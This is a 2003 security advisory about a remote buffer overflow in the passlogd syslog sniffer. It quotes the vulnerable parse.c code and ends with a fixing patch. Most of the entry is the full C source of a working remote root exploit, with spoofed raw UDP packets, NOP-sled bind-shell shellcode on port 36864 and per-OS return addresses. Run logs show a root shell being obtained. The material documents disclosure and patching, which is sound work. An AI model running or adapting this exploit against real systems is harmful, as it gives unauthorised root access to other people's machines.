6th Apr 2003 [SBWID-6106]
COMMAND
	passlogd sniffer remote buffer overflow root exploit
SYSTEMS AFFECTED
	  passlogd v0.1d
	  -passlogd-0.1d.tar.gz
	  +FreeBSD   
	  +OpenBSD
	  +Linux
	  +Other
	  passlogd v0.1c
	  -passlogd-0.1c.tar.gz
	  passlogd v0.1b
	  -passlogd-0.1b.tar.gz
	  passlogd v0.1a
	  -passlogd-0.1a.tar.gz
PROBLEM
	In  INetCop  Security   Advisory   [#2003-0x82-015]   by   dong-h0un   U
	[szoahc(at)hotmail(dot)com] or [xploit(at)hackermail(dot)com] :
	
	 http://www.inetcop.org (Korean hacking game)
	 http://x82.i21c.net & http://x82.inetcop.org
	 
	passlogd(passive syslog capture daemon) is a purpose-built  sniffer  for
	capturing syslog messages in transit. This allows for backup logging  to
	be performed on a machine with no open ports.
	This program is introduced in securityfocus:
	
	 http://www.securityfocus.com/tools/2076
	
	Vulnerability can presume as following. There is sl_parse() function  to
	33 lines of 'passlogd-0.1d/parse.c' code.
	
	    __
	    33  void sl_parse(char *user, struct pcap_pkthdr *pkthdr, u_char *pkt)
	    34  {
	        ...
	    42    char level[5];
	    43    char message[1024];
	    44    char buffer[4096];
	        ...
	    77    while(pkt[i] != '>'){
	    78      level[j] = pkt[i]; // First, buffer overflow happens.
	    79      i++;
	    80      j++;
	    81    }
	    82    i++;
	        ...
	    87    while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){
	    88          if(debug)
	    89                  printf("at byte %d of %d\n", i, pkthdr->caplen - 1);
	    90      message[z] = pkt[i]; // Second, buffer overflow happens.
	    91      i++;
	    92      z++;
	    93    }
	        ...
	   103    /* built the logstring */
	   104    if(dflag){
	   105      sprintf(buffer, "%s %s\n", srcip, message); // Very dangerous.
	   106    }
	   107    else {
	   108      sprintf(buffer, "%s to %s: <%s> %s\n", srcip, dstip, level, message)
	// Similarly, is dangerous.
	;
	   109    }
	        ... /* Role of original is like this. */
	   123      syslev = atoi(level);
	   124      openlog("passlogd", 0, LOG_DAEMON);
	   125      syslog(syslev, "%s", buffer);
	    --
	
	Visual  point  that  change  flowing  of  this  program,  happen   after
	overwrited stack variables. Of  course,  frame  pointer  overrun  exists
	together.
	 Exploit
	 =======
	Kindly provided by dong-h0un U :
	
	bash-2.04# ./0x82-Remote.passlogd_sniff.xpl
	 passlogd sniffer remote buffer overflow root exploit
	                                        by Xpl017Elz.
	 Usage: ./0x82-Remote.passlogd_sniff.xpl -option [argument]
	        -h - hostname.
	        -f - spoof src ip.
	        -s - &shellcode.
	        -l - buf len.
	        -t - target number.
	        -i - help information.
	 Select target number:
	        {0} ALZZA Linux release 6.1 (Linux One)
	        {1} WOW Linux release 6.2 (Puberty)
	        {2} RedHat Linux release 7.0 (Guinness)
	        {3} WOWLiNUX Release 7.1 (Paran)   
	        {4} RedHat Linux release 8.0 (Psyche)
	 Example> ./0x82-Remote.passlogd_sniff.xpl -h localhost -f82.82.82.82 -t3
	 Example2> ./0x82-Remote.passlogd_sniff.xpl -h localhost -s0x82828282 -l582
	bash-2.04#
	test exploit result: --   
	#1) attacker system: 
	bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2 -s0x82828282
	 passlogd sniffer remote buffer overflow root exploit
	                                        by Xpl017Elz.
	 [0] Set packet code size.
	 [1] Set protocol header.
	 [2] Make shellcode.
	 [3] Set rawsock.
	 [4] Send packet.
	 [5] Trying 61.37.xxx.xx:36864.
	 [-] Connect Failed.
	bash-2.04#
	#2) target system:
	[root@blah /passlogd-0.1d]# gdb -q ./passlogd
	(gdb) r
	Starting program: /passlogd-0.1d/./passlogd
	Wed Mar 26 12:16:27 2003
	                   r^)  F @   F @ F  N  f  C F  f ^  F )
	    F   f F  N  N  N  f   ^ CC f   V  V  fC     ?)    ?A   ?A   V  v    K
	   /bin/shd
	Program received signal SIGSEGV, Segmentation fault.
	0x82828282 in ?? ()
	(gdb)
	real exploit result: --
	bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2
	 passlogd sniffer remote buffer overflow root exploit
	                                        by Xpl017Elz.
	 [0] Set packet code size.
	 [1] Set protocol header.
	 [2] Make shellcode.
	 [3] Set rawsock.
	 [4] Send packet.
	 [5] Trying 61.37.xxx.xx:36864.
	 [*] Connected to 61.37.xxx.xx:36864.
	 [*] Executed shell successfully !
	Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown
	uid=0(root) gid=0(root)                                                         
	+groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
	[root@blah /passlogd-0.1d]#
	/*
	**
	** [*] Title: Remote Multiple Buffer Overflow vulnerability in passlogd sniffer.
	** [+] Exploit code: 0x82-Remote.passlogd_sniff.xpl.c
	**
	** [+] Description --
	**
	** About:
	** passlogd is a purpose-built sniffer for capturing syslog messages in transit.
	** This allows for backup logging to be performed on a machine with no open ports. 
	** 
	** This program is introduced in securityfocus: http://www.securityfocus.com/tools/2076
	** 
	** Vulnerability can presume as following.
	** There is sl_parse() function to 33 lines of 'parse.c' code.
	** 
	**     __
	**         ...
	**     77    while(pkt[i] != '>'){
	**     78      level[j] = pkt[i]; // This is exploit target.
	**     79      i++;
	**     80      j++;
	**     81    }
	**     82    i++;
	**         ...
	**     --
	** 
	** Visual point that change flowing of this program,
	** happen after overwrited stack variables.
	** Of course, frame pointer overrun exists together.
	** 
	** [+] Vulnerable Packages --
	** 
	** Vendor site: http://www.morphine.com/src/passlogd.html
	** 
	** passlogd v0.1d
	** -passlogd-0.1d.tar.gz
	** +FreeBSD
	** +OpenBSD
	** +Linux
	** +Other
	** passlogd v0.1c
	** -passlogd-0.1c.tar.gz
	** passlogd v0.1b
	** -passlogd-0.1b.tar.gz
	** passlogd v0.1a
	** -passlogd-0.1a.tar.gz
	** 
	** [+] Exploit --
	** 
	** Our proof of concept code was completed.
	** Exhibit it sooner or later.
	** 
	** exploit result: --
	** 
	** bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2
	** 
	**  passlogd sniffer remote buffer overflow root exploit
	**                                         by Xpl017Elz.
	** 
	**  [0] Set packet code size.
	**  [1] Set protocol header.
	**  [2] Make shellcode.
	**  [3] Set rawsock.
	**  [4] Send packet.
	**  [5] Trying 61.37.xxx.xx:36864.
	**  [*] Connected to 61.37.xxx.xx:36864.
	**  [*] Executed shell successfully !
	** 
	** Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown
	** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
	** [root@blah /passlogd-0.1d]#
	**
	** -- 
	** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>. 
	** My World: http://x82.i21c.net & http://x82.inetcop.org
	**
	*/
	/*
	** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
	**
	** This exploit is proof of concept. (Therefore, don't support 'Brute-force' mode.)
	**
	** P.S:
	**
	** I now, system OS is lacking. :-l
	** Although very appreciative people sent account to me.
	** uid=0 of this exploit need urgently. hehehe!
	**
	** Thank you.
	**
	*/
	#include <stdio.h>
	#include <unistd.h>
	#include <errno.h>
	#include <sys/time.h>
	#include <sys/socket.h>
	#include <netdb.h>
	#include <netinet/in.h>
	#include <netinet/ip.h>
	#include <netinet/udp.h>
	struct os {
		int num;
		char *ost;
		u_long shell;
		int l_sz;
	};
	#define Xpl017Elz x82
	#define D_M (0)
	struct os plat[]=
	{
		{
			0,"ALZZA Linux release 6.1 (Linux One)",
			/* It's Korean Linux */
			0xbfffaf82,545
		},
		{
			1,"WOW Linux release 6.2 (Puberty)",
			/* It's Korean Linux */
			0xbfffaf82,545
		},
		{
			2,"RedHat Linux release 7.0 (Guinness)",
			/* It's my redhat that exist uniquely. */
			0xbfffae82,581
		},
		{
			3,"WOWLiNUX Release 7.1 (Paran)",
			/* It's Korean Linux */
			0xbfffae82,593
		},
		{
			4,"RedHat Linux release 8.0 (Psyche)",
			/* It's not to me now. (C0mming s00n) */
			0x82828282,0 // shit.
		},
		{
			5,NULL,0,0
		}
	};
	void banrl();
	int setsock(char *host,int port);
	void re_connt(int sock);
	void send_recv_sh(int sock);
	void usage(char *p_name);
	int make_sh(u_long shcode,int l_sz);
	int main(int argc,char **argv)
	{
		int sock,whgl,type=D_M;
		struct hostent *he;
		struct sockaddr_in hehe;
		struct iphdr *__ip_hdr_st;
		struct udphdr *__udp_hdr_st;
	#ifdef _TEST
	#define FK_IP "82.82.82.82" /* fake src ip */
	#else
	#define FK_IP "216.239.33.101" /* G00Gl3 */
	#endif
		char spoof_ip[0x82]=FK_IP;
	#define D_PORT (36864)
		int port=D_PORT;
	#define _DMN_NAME
	#ifdef _DMN_NAME
	#define LC_TEST "localhost" /* default test host */
	#else
	#define LC_TEST "127.0.0.1" /* localhost */
	#endif 
		char host[0x82]=LC_TEST;
	#ifdef T_ADDR_
	#define SHELL 0x82828282 /* test */
	#endif
		u_long shell=plat[type].shell;
		int l_sz=plat[type].l_sz;
		int atk_pk_size,make_sh_size;
		char *__tot_atk_pk,*atk_mbuf;
		(void)banrl();
		if(argc<2)
		{
			(void)usage(argv[D_M]);
		}
		while((whgl=getopt(argc,argv,"L:l:H:h:F:f:T:t:IiS:s:"))!=-1)
		{
			extern char *optarg;
			switch(whgl)
			{
				case 'H':
				case 'h':
					memset((char *)host,D_M,sizeof(host));
					strncpy(host,optarg,sizeof(host)-1);
					break;
				case 'F':
				case 'f':
					memset((char *)spoof_ip,D_M,sizeof(spoof_ip));
					strncpy(spoof_ip,optarg,sizeof(spoof_ip)-1);
					break;
				case 'L':
				case 'l':
					l_sz=atoi(optarg);
					break;
				case 'T':
				case 't':
					type=atoi(optarg);
					if(type>4)
						(void)usage(argv[D_M]);
					else
					{
						shell=plat[type].shell;
						l_sz=plat[type].l_sz;
					}
					break;
				case 'S':
				case 's':
					shell=strtoul(optarg,NULL,NULL);
					break;
				case 'I':
				case 'i':
					(void)usage(argv[D_M]);
					break;
				case '?':
					fprintf(stderr," Try `%s -i' for more information.\n\n",argv[D_M]);
					exit(-1);
					break;
			}
		}
		{
		    	fprintf(stdout," [0] Set packet code size.\n");
			make_sh_size=strlen((char *)make_sh(shell,l_sz));
			atk_pk_size=(sizeof(struct iphdr)+
					sizeof(struct udphdr)+make_sh_size);
			__tot_atk_pk=(char *)malloc(atk_pk_size);
			memset((char *)__tot_atk_pk,D_M,atk_pk_size);
			atk_mbuf=(sizeof(struct iphdr)+
					sizeof(struct udphdr)+
					(char *)__tot_atk_pk);
			fprintf(stdout," [1] Set protocol header.\n");
			__ip_hdr_st=(struct iphdr *)__tot_atk_pk;
			__udp_hdr_st=(struct udphdr *)(sizeof(struct iphdr)+__tot_atk_pk);
			fprintf(stdout," [2] Make shellcode.\n");
			strncpy(atk_mbuf,(char *)make_sh(shell,l_sz),make_sh_size);
		}
		if((he=gethostbyname(host))==NULL)
		{
			herror(" gethostbyname()");
			exit(-1);
		}
		if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))==-1)
		{
			perror(" socket()");
			exit(-1);
		}
		if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"))==-1)
		{
			perror(" setsockopt()");
			exit(-1);
		}
		fprintf(stdout," [3] Set rawsock.\n");
		__ip_hdr_st->version=4;
		__ip_hdr_st->ihl=sizeof(struct iphdr)/4;
		__ip_hdr_st->tot_len=htons(atk_pk_size);
		__ip_hdr_st->ttl=0xff;
		__ip_hdr_st->protocol=IPPROTO_UDP;
		__ip_hdr_st->saddr=inet_addr(spoof_ip);
		__ip_hdr_st->daddr=inet_ntoa(*((struct in_addr *)he->h_addr));
		__udp_hdr_st->source=htons(0x82);
		__udp_hdr_st->dest=htons(0x202);
		__udp_hdr_st->len=(atk_pk_size);
		hehe.sin_family=AF_INET;
		hehe.sin_port=__udp_hdr_st->dest;
		hehe.sin_addr=*((struct in_addr *)he->h_addr);
		memset(&(hehe.sin_zero),D_M,(8));
		fprintf(stdout," [4] Send packet.\n");
		if((sendto(sock,__tot_atk_pk,atk_pk_size,D_M,(struct sockaddr *)&hehe,sizeof(struct sockaddr)))==-1)
		{
			perror(" sendto()");
			exit(-1);
		}
		fprintf(stdout," [5] Trying %s:%d.\n",host,port);
		sleep(2);
		sock=(int)setsock(host,port);
		(void)re_connt(sock);
		fprintf(stdout," [*] Connected to %s:%d.\n",host,port);
		(void)send_recv_sh(sock);
	}
	int make_sh(u_long shcode,int l_sz)
	{
		int plus_sz_plus=D_M,pk_sz=D_M;
		char shell_code_bind_36864[]={
			/* bindshell port 36864 */
			0xeb,0x72,0x5e,0x29,0xc0,0x89,0x46,0x10,
			0x40,0x89,0xc3,0x89,0x46,0x0c,0x40,0x89,
			0x46,0x08,0x8d,0x4e,0x08,0xb0,0x66,0xcd,
			0x80,0x43,0xc6,0x46,0x10,0x10,0x66,0x89,
			0x5e,0x14,0x88,0x46,0x08,0x29,0xc0,0x89,
			0xc2,0x89,0x46,0x18,0xb0,0x90,0x66,0x89,
			0x46,0x16,0x8d,0x4e,0x14,0x89,0x4e,0x0c,
			0x8d,0x4e,0x08,0xb0,0x66,0xcd,0x80,0x89,
			0x5e,0x0c,0x43,0x43,0xb0,0x66,0xcd,0x80,
			0x89,0x56,0x0c,0x89,0x56,0x10,0xb0,0x66,
			0x43,0xcd,0x80,0x86,0xc3,0xb0,0x3f,0x29,
			0xc9,0xcd,0x80,0xb0,0x3f,0x41,0xcd,0x80,
			0xb0,0x3f,0x41,0xcd,0x80,0x88,0x56,0x07,
			0x89,0x76,0x0c,0x87,0xf3,0x8d,0x4b,0x0c,
			0xb0,0x0b,0xcd,0x80,0xe8,0x89,0xff,0xff,
			0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
		};
		char sh_data_align_4[0x400];
	#define NULL_NULL_PSH 0x00
		memset((char *)sh_data_align_4,NULL_NULL_PSH,sizeof(sh_data_align_4));
	#define NOP_NOP_PSH 0x90
		for(pk_sz=D_M;pk_sz<l_sz;pk_sz++)
			sh_data_align_4[pk_sz]=NOP_NOP_PSH;
		{
			sh_data_align_4[pk_sz++]=(shcode>>0)&0xff;
			sh_data_align_4[pk_sz++]=(shcode>>8)&0xff;
			sh_data_align_4[pk_sz++]=(shcode>>16)&0xff;
			sh_data_align_4[pk_sz++]=(shcode>>24)&0xff;
			sh_data_align_4[pk_sz++]=(0x3e);
		}
		for(plus_sz_plus=D_M;
			plus_sz_plus<sizeof(sh_data_align_4)-
			strlen(sh_data_align_4)-
			strlen(shell_code_bind_36864);
			plus_sz_plus++)
			sh_data_align_4[pk_sz++]=NOP_NOP_PSH;
		for(plus_sz_plus=D_M;
			plus_sz_plus<strlen(shell_code_bind_36864);
			plus_sz_plus++)
			sh_data_align_4[pk_sz++]=shell_code_bind_36864[plus_sz_plus];
		return strdup(sh_data_align_4);
	}
	int setsock(char *hostip,int port)
	{
		int sock;
		struct hostent *he;
		struct sockaddr_in x82;
		if((he=gethostbyname(hostip))==NULL)
		{
			return(-1);
		}
		if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
		{
			return(-1);
		}
		x82.sin_family=AF_INET;
		x82.sin_port=htons(port);
		x82.sin_addr=*((struct in_addr *)he->h_addr);
		memset(&(x82.sin_zero),0,8);
		if(connect(sock,(struct sockaddr *)&x82,sizeof(struct sockaddr))==-1)
		{
			return(-1);
		}
		return(sock);
	}
	void re_connt(int sock)
	{
		if(sock==-1)
		{
			fprintf(stderr," [-] Connect Failed.\n\n");
			exit(-1);
		}
	}
	void send_recv_sh(int sock)
	{
		int pk;
		struct timeval tm;
		char *t_cmd="uname -a;id;exec bash -i\n";
		char rbuf[1024];
		fd_set rset;
		memset((char *)rbuf,D_M,sizeof(rbuf));
		fprintf(stdout," [*] Executed shell successfully !\n\n");
		send(sock,t_cmd,strlen(t_cmd),D_M);
		tm.tv_sec=10;
		tm.tv_usec=D_M;
		while(1)
		{
			fflush(stdout);
			FD_ZERO(&rset);
			FD_SET(sock,&rset);
			FD_SET(STDIN_FILENO,&rset);
			select(sock+1,&rset,NULL,NULL,&tm);
			if(FD_ISSET(sock,&rset))
			{
				pk=read(sock,rbuf,sizeof(rbuf)-1);
				if(pk<=D_M)
				{
					fprintf(stdout," [*] Happy-Exploit\n\n");
					exit(D_M);
				}
				rbuf[pk]=D_M;
				fprintf(stdout,"%s",rbuf);
			}
			if(FD_ISSET(STDIN_FILENO,&rset))
			{
				pk=read(STDIN_FILENO,rbuf,sizeof(rbuf)-1);
				if(pk>D_M)
				{
					rbuf[pk]=D_M;
					write(sock,rbuf,pk);
				}
			}
		}
		return;
	}
	void usage(char *p_name)
	{
		int r_s=D_M;
		fprintf(stdout," Usage: %s -option [argument]\n",p_name);
		fprintf(stdout,"\n\t-h - hostname.\n");
		fprintf(stdout,"\t-f - spoof src ip.\n");
		fprintf(stdout,"\t-s - &shellcode.\n");
		fprintf(stdout,"\t-l - buf len.\n");
		fprintf(stdout,"\t-t - target number.\n");
		fprintf(stdout,"\t-i - help information.\n\n");
		fprintf(stdout," Select target number:\n\n");
		for(;;)
		{
			if(plat[r_s].ost==NULL)
				break;
			else fprintf(stdout,"\t{%d} %s\n",plat[r_s].num,plat[r_s].ost);
			r_s++;
		}
		fprintf(stdout,"\n Example> %s -h localhost -f82.82.82.82 -t3",p_name);
		fprintf(stdout,"\n Example2> %s -h localhost -s0x82828282 -l582\n\n",p_name);
		exit(-1);
	}
	void banrl()
	{
		fprintf(stdout,"\n passlogd sniffer remote buffer overflow root exploit\n");
		fprintf(stdout,"                                        by Xpl017Elz.\n\n");
	}
	/* eox */
	
	 -Also-
	dong-h0un U made out *BSD exploit. It  works  in  OpenBSD  3.0,  FreeBSD
	4.6.2-RELEASE :
	For reference, FreeBSD includes passlogd-0.1d port:
	
	 http://www.freebsd.org/cgi/cvsweb.cgi/ports/net/passlogd/
	
	Proof of Concept exploit:
	
	 http://x82.inetcop.org/h0me/c0de/0x82-Remote.XxxxBSD_passlogd.xpl.c
	
SOLUTION
	Check http://www.morphine.com/src/passlogd.html
	 Patch (by dong-h0un U)
	 =====
	
	=== parse.patch ===
	--- parse.c     Sat Jun  9 14:07:45 2001
	+++ parse.patch.c       Wed Mar 26 11:48:33 2003
	@@ -75,6 +75,10 @@
	   j=0;
	   while(pkt[i] != '>'){
	+    if(j==sizeof(level)-1)
	+    {
	+       break;
	+    }
	     level[j] = pkt[i];
	     i++;
	     j++;
	@@ -87,6 +91,10 @@
	   while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){
	        if(debug)
	                printf("at byte %d of %d\n", i, pkthdr->caplen - 1);
	+    if(z==sizeof(message)-1)
	+    {
	+       break;
	+    }
	     message[z] = pkt[i];
	     i++;
	     z++;
	@@ -102,10 +110,10 @@   
	   /* built the logstring */
	   if(dflag){ 
	-    sprintf(buffer, "%s %s\n", srcip, message);
	+    snprintf(buffer, sizeof(buffer)-1, "%s %s\n", srcip, message);             
	   }
	   else {
	-    sprintf(buffer, "%s to %s: <%s> %s\n", srcip, dstip, level, message);
	+    snprintf(buffer, sizeof(buffer)-1, "%s to %s: <%s> %s\n", srcip, dstip,
	+level, message);
	   }
	   if(debug){                                                                   
	=== eof ===